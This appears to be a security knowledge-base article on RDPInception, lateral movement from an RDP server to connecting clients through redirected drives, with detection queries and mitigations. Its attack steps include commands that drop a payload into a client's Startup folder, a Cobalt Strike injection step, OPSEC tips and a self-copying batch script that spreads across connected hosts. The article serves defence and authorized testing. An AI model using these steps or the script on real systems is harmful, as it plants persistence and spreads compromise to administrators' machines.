How it works
A Remote Desktop client can share local resources with the session it opens: clipboard, printers, smart cards and drives. With drive redirection on, the remote session sees the client's drives under the name \\tsclient, for example \\tsclient\C, and applications in that session can read and write them with the rights of the user who connected.
That channel crosses a trust boundary in the direction people forget. An administrator connecting to a server thinks of the server as the thing being accessed. With a redirected drive, the server is also accessing the administrator's workstation. Whatever runs in the administrator's session on the server can write files to the workstation's disk.
RDPInception, published by MDSec's ActiveBreach team, turns this into lateral movement from server to client:
- The attacker controls a server and arranges for a script to run in every session that starts there, by placing it in a Startup folder on the server.
- An administrator connects with drive redirection. The script runs in their session, finds the Startup folders under
\\tsclient\C\Users, and copies itself into them. - The next time the administrator signs in to their own machine, Windows runs the script from the Startup folder (T1547.001). It carries the attacker's payload, and it repeats step 2 against any client that is connected to that machine.
The repetition is what the name refers to. Administrators often connect through a chain: workstation to jump host, jump host to domain controller, on to a file server. If every hop redirects drives, a script planted on the last server walks back up the chain one logon at a time, without credentials and without any exploit.
The mapped drive shows what is available, not what was touched. A session with \\tsclient\C visible proves the client offered its drive and the server accepted it. A file written to the client and a later execution of that file are separate events on the client.
Prerequisites
- Administrator rights on a host that the target connects to over RDP. The attacker needs code to run in the visitor's session: a script in a server-side Startup folder, a logon script, or injection into a process of that session.
- The visitor connects with drive redirection enabled (in the Remote Desktop client: Local Resources, More, Drives; in an
.rdpfile thedrivestoredirectsetting). - The session host accepts drive redirection. By default an RD Session Host maps client drives automatically; the policy "Do not allow drive redirection" turns it off.
- The connecting user can write to the target path on their own machine. Their own Startup folder always qualifies.
- For the payload to run: the user signs in to the client machine again.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Confirm that a visitor shared a drive
Code running in the visitor's session on the server sees the redirected drives as network connections:
net use
dir \\tsclient\c\Users
\\tsclient is per session. A SYSTEM shell or another user's session does not see it, which is why the commands have to run inside the visitor's session.
2. Write to the client's Startup folder by hand
With a foothold in the session, for example an implant injected into one of the visitor's processes such as rdpclip.exe, copy a payload to the per-user Startup folder on the client:
copy C:\Windows\Temp\update.bat "\\tsclient\c\Users\alice\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
In Cobalt Strike the same step is inject <pid> x64 <listener> into a process of the visitor's session, then cd to the \\tsclient\c\...\Startup path and upload.
3. Automate it for every visitor
Place a script in the all-users Startup folder of the compromised server, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp, so that it runs at each logon in the visitor's own session. The script below is a minimal version of the idea: it waits for the redirected drive, finds every Startup folder it can reach on the client's C: drive, and copies itself there.
@echo off
rem Runs in the visitor's session on the server
timeout /t 2 >nul
if not exist \\tsclient\c\Users exit /b
for /f "delims=" %%d in ('dir /a:d /b /s "\\tsclient\c\Users\*Startup*" 2^>nul ^| findstr /i /l /c:"Programs\Startup"') do (
copy /y "%~f0" "%%d\update.bat" >nul 2>&1
)
rem Payload: start the implant here
Because the copy on the client is the same script, it runs at the administrator's next logon on the client and repeats the search against whoever is connected to that machine. The published proof of concept also copies itself to the local Startup folders of each host it lands on and wraps the payload in a condition, for example on %USERDOMAIN%, so it only fires in the intended environment.
4. Wait for the next logon on the client
Nothing runs on the client until the user signs in there again. The payload then executes as that user, on a machine that is usually more trusted than the server the attack started from.
Impact
The attacker moves from a server to the workstation of the person who administers it, and from there to everything that person can reach. In a tiered environment this is the dangerous direction: a compromised application server reaching a Tier 0 administrator's workstation defeats the separation the tiers exist to provide.
The foothold on the client is also persistent. A file in a Startup folder runs at every logon until it is removed.
Redirected drives expose data as well as a write path. Code in the session can read the client's files: documents, SSH keys, saved .rdp files, password databases, scripts with credentials.
OPSEC and artifacts
- A script file versus an implant. The automated script leaves a file in the Startup folder of the server and of every client it reaches. A hand-placed, single payload on one chosen client leaves one file. In both cases the file sits in a location that defenders inventory.
- Who wrote the file. On the client, the process that creates a file arriving through a redirected drive is the Remote Desktop client,
mstsc.exe. Sysmon event 11 on the client recordsmstsc.execreating a file under\Start Menu\Programs\Startup\, which no normal activity does. - Keying the payload. Checking the domain or user name before running the payload keeps it from firing on machines outside the target. The copied script is on disk regardless.
- Delay. Execution happens at the next logon on the client, possibly days later, which separates it in time from the RDP session. The file's creation time on the client still falls inside that session, and the process that runs it is a child of
explorer.exeat logon, visible as event 4688 or Sysmon event 1. - Server-side traces. A new file in the server's all-users Startup folder, a
cmd.exethat starts at logon in every user's session, and command lines that reference\\tsclient\. The visitor's connection itself is an ordinary event 4624 of type 10. - Injection instead of a Startup script. Injecting into the visitor's processes avoids the server-side file and adds cross-session process access for endpoint sensors to see.
Detection
- The Remote Desktop client writing to a Startup folder. This is the highest-fidelity signal and it is on the client, the machine being attacked:
WindowsEvent
| where Provider == "Microsoft-Windows-Sysmon" and EventID == 11
| extend Writer = tostring(EventData.Image), File = tostring(EventData.TargetFilename)
| where Writer endswith @"\mstsc.exe"
| where File has @"\Start Menu\Programs\Startup\"
or File endswith ".bat" or File endswith ".ps1" or File endswith ".exe" or File endswith ".lnk"
| project TimeGenerated, Computer, Writer, File, WriterGuid = tostring(EventData.ProcessGuid)
In Microsoft Defender XDR the same check is DeviceFileEvents where InitiatingProcessFileName is mstsc.exe and FolderPath contains the Startup path.
- Use of
\\tsclienton servers. Process command lines on servers that reference\\tsclient\, especiallycopy,xcopy,robocopyor script hosts, outside known file transfer habits. - Startup folder changes on servers. A new file in
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUpon a server is unusual at any time. - Logon-time execution on the client. A script or unsigned binary started from a Startup folder on an administrative workstation, whose creation time matches an outbound RDP session.
If the client's Sysmon configuration excludes the target directory, or the client is unmanaged, the write is not observable there. Say so in the investigation instead of treating an empty result as clean.
Mitigation
- Turn off drive redirection on the servers you manage. Enable "Do not allow drive redirection" (Computer Configuration, Administrative Templates, Windows Components, Remote Desktop Services, Remote Desktop Session Host, Device and Resource Redirection). The server then refuses the client's drives whatever the client offers. Where a file transfer need is real, document which hosts keep redirection and in which direction data moves.
- Do not offer drives from privileged workstations. Distribute
.rdpfiles and client settings for administrators with drive redirection off, and treat any server that asks for it as untrusted. - Administer through same-tier jump hosts. If a server can only ever be reached from a jump host of its own tier, the furthest the attack can travel is that jump host. Combined with privileged access management for the sessions themselves, this contains the chain. The Active Directory hardening guide describes the tier model.
- Watch Startup locations on administrative workstations and jump hosts with file integrity monitoring or the detection above, and block script execution from Startup folders with application control where possible.
- Rebuild, do not clean, a jump host that has received files from a compromised server, and review the Startup folders and Run keys of every machine that connected to it during the exposure window.
Log events to collect
FAQ
What is RDPInception?
RDPInception is the name MDSec gave in 2017 to an attack that runs against the direction of a Remote Desktop connection. A compromised server uses the visiting client's redirected drive to copy a script into the Startup folder on the visitor's own computer. When the visitor next signs in there, the script runs, and it can copy itself onward to any machine that connected to that one.
What is \\tsclient?
It is the name under which a Remote Desktop session sees the devices its client shared. When the client redirects its drives, the remote session can open \tsclient\C and read and write the client's C: drive with the rights of the user who connected. The share exists only inside that user's session.
Does the attack need a vulnerability?
No. Drive redirection is a feature that the client offers and the server accepts. The attack only needs the visitor to have enabled it, which many administrators do to move files, and code running in the visitor's session on the server. It works on fully patched systems.
How do you stop RDPInception?
Do not redirect drives into servers you do not fully trust, and enforce that on the servers you manage with the policy Do not allow drive redirection. Administer lower-tier servers from a jump host of that tier, so that a compromised server can only reach back to the jump host and not to a privileged workstation.
References
- RDPInception (MDSec ActiveBreach)
- Remote Services: Remote Desktop Protocol, T1021.001 (MITRE ATT&CK)
- Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, T1547.001 (MITRE ATT&CK)
- Configure fixed, removable, and network drive redirection (Microsoft Learn)
- Policy CSP ADMX_TerminalServer: Do not allow drive redirection (Microsoft Learn)
- Sigma rule: Hijack Legit RDP Session to Move Laterally (SigmaHQ)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.